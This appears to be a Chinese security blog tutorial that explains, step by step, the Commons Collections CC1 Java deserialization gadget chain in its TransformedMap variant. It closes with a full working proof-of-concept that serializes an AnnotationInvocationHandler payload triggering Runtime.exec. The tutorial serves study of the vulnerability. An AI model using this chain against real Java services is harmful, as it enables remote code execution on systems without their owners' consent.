Java安全 反序列化(3) CC1链-TransformedMap版

J1rrY_2024-03-25 12:30

Java安全 反序列化(3) CC1链-TransformedMap版

本文尝试从CC1的挖掘思路出发，理解CC1的实现原理

文章目录

Commons：Apache Commons是Apache软件基金会的项目，Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections：Java中有一个Collections包，内部封装了许多方法用来对集合进行处理，CommonsCollections则是对Collections进行了补充，完善了更多对集合处理的方法，大大提高了性能。

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

默认情况看不到AnnotationInvocationHandler类的源码，是因为jdk中没有sun包下的源码，需要手动下载该版本的openjdk源码

jdk版本及sun源码下载链接：https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888

提取码：8888

配置jdk版本和源代码配置

1.解压 jdk1.8.0_65.zip

2.解压jdk8-sun-source.zip 中class.rar中的sun源码

3.替换 jdk1.8.0_65/src/中的sun文件夹

4.idea中添加源代码

可以看到rt.jar包中任意源代码（而不是.class反编译文件），就是成功了

访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

⾸先在设置在pom.xml环境

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

安装commons-collections成功后，环境配置结束

现在正式学习Java反序列化 CC链

前记 为什么可以利用

Apache Commons Collections中有⼀个特殊的接口，其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数，叫做InvokerTransformer，它可通过反射调用类中的方法，从而通过一连串的调用而造成命令执行，这条链便叫做Commons Collections链（简称cc链）。

一.CC链中的命令执行

我们的最终的目的是利用CC链来进行RCE

一般执行命令 Runtime.getRuntime().exec("calc");

如此简单简洁，但是为什么我们不直接利用了？

因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口，不可以被序列化

这个过程中不可序列化

所以我们可以通过反射调用来进行反序列化

Class实现了Serialiable接口 可以实现序列化

 Class Runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = Runtime.getMethod("getRuntime");
        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
        Method exec = Runtime.getMethod("exec", String.class);
        exec.invoke(runtime, "calc");

可以通过反射执行任意命令

在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数

我们可以尝试一下通过InvokerTransformer.transform()执行命令

InvokeTransformer构造函数接受三个参数

  1. 1.String 函数名 exec
  2. Class[] 参数类型 String.class
  3. Object[] 具体参数值 calc

接受对象，对对象执行函数

java 复制代码 
        Runtime r=Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

仍然可以执行系统命令

在CC链接口Transformer实现类中，我们重点关注几个实现类

1.ConstantTransformer实现类

注意，和transform传入的Object input的对象无关，仅仅返回构造函数Object constantToReturn 的对象（这一点很重要，后面会应用）

2.InvokeTransformer实现类

前面探究过，通过反射调用任意的函数

相当于最后加了一个invoke方法调用

3.ChainedTransformer实现类(链式，有想法吗)

上篇文章具体调试过跟踪过ChainedTransformer的实现

构造函数接受Transformer[] 数组进行赋值

我们可以简单理解为一个**迭代器 **的 链式的调用

后一个对象.transform(前一个对象的.transform方法返回的对象)

通过这个ChainTransformer实现类可以实现（一节更比三节强的观念）

通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法，而且实现了 对象的传递

现在我们可以通过链式+反射调用任意命令

java 复制代码 
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform("aaa");

注意一点chainedTransformer.transform("aaa");aaa可以替换为任意值

先调用 ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象（和transform传入的Object input的对象无关，仅仅返回构造函数Object constantToReturn 的对象，回顾一下前面）

二. CC1挖掘原理分析&Poc编写

现在我们开始分析一下CC1是如何被发现和利用的，重点在于学习前人发现的思路

时刻记住我们的目的

这里我们先利用 单个InvokerTransformer

java 复制代码 
 Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

走一遍流程

我们要利用transform执行任意命令

可以查看什么地方应用了transform （这里偏向测试map）

因为Map作为键值对的映射关系可以包含任意类

可以利用的有DefaultedMap,LazyMap,TransformedMap

这里我们探究一下TransformedMap，其他下篇文章写

在TransformedMap中的protected方法（代表仅能被自身调用）checkSetValue传入

我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象

构造函数进行传值，但是是protected仅能被自身调用，向上寻找

发现decorate的public 静态方法 可以返回 调用 构造方法

参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)

这里和keyTransformer 关系不大，可以设为空

java 复制代码 
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("key","value");
        TransformedMap.decorate(hashmap,null,invokerTransformer);

等价于InvokerTransformer.transform()

现在控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)

查找用法

可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法

而AbstractInput恰好又是TransformedMap的父类

这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口

我们可以通过遍历TransformedMap的Entry实现调用setValue方法

原因：因为如果我们遍历TransformedMap的Entry调用setValue，子类继承了父类的public方法(setValue)，而且实现了对Map.Entry方法的重写，可以实现调用setValue方法

调用的便是它的父类AbstractInputCheckedMapDecorator 类重写的setValue 方法，便会触发 checkSetValue方法，从而触发cc链1

因此编写payload

java 复制代码 
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("key","value");
        Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);

        }

传入的值是Runtime对象 等价实现InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)

但是我们如何实现在readObject的时候调用setValue方法

经过寻找我们发现 AnnotationInvocationHandler

1.重写了readobject

2.调用了memberValue.setValue()

而恰好我们可以控制memberValues的值

这不是妥妥的入口类吗

这里接受两个参数Class<? extends Annotation> type, Map<String, Object> memberValues

Annotation是Java的注解，比如@Override重写等

但是我们只能 用反射操作入口类

因为这里没有修饰词，默认是default 只能通过在包内访问

分析一下readobject类

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

想要走到memberValue.setValue需要走过两个判断

在 遍历memberValues.entrySet()的过程中

java 复制代码 
 String name = memberValue.getKey();//获取Map键值
            Class<?> memberType = memberTypes.get(name);//获取Java注解的类型
            if (memberType != null) {  
                Object value = memberValue.getValue();

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值

判断不为空即可

我们需要获取注解中存在键值对的注解，这里我们可以用 @Target

@Target 存在value的键 为了memberType 保证不为空，所以将hashmap.put("value","value");设为value

保证Class<?> memberType = memberTypes.get(name);//获取Java注解的类型可以保证memberTypes.get(name)可以获取到值

第二个if判断一定是可以通过的 member一定是存在的

这里setValue的值不可控，但是对我们利用完全不影响

虽然这里的setValue方法带一个初始值，但我们ConstantTransformer类的transform方法，不受参数影响，构造方法传入什么，就原封不动返回什么

第三次重复了

和传入setValue的值没有关系

我们将InvokerTransformer替换为ChainTransformer

尝试通过反射建构AnnotationInvocationHandler 类

接受Class<? extends Annotation> type, Map<String, Object> memberValues

通过反射创建AnnotationInvocationHandler实例

java 复制代码 
       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);

对annotationInstantce进行序列化后反序列化后执行命令

成功手写CC1链的Poc

三.CC1完整利用链Poc

java 复制代码 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        //Runtime.getRuntime().exec("calc");
//        Class Runtime = Class.forName("java.lang.Runtime");
//        Method getRuntime = Runtime.getMethod("getRuntime");
//        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
//        Method exec = Runtime.getMethod("exec", String.class);
//        exec.invoke(runtime, "calc");
//        Runtime r=Runtime.getRuntime();
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");
//        Runtime r=Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("value","value");
        Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
        serialize(annotationInstantce);
        unserialize();


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }


    }

以后遇到其他类似题，就可以参考Poc了

反思总结

核心概念

  1. 入口类必须重写readObject
  2. 通过不同类的同名方法进行跳转连接

下一篇我们从LazyMap出发实现RCE

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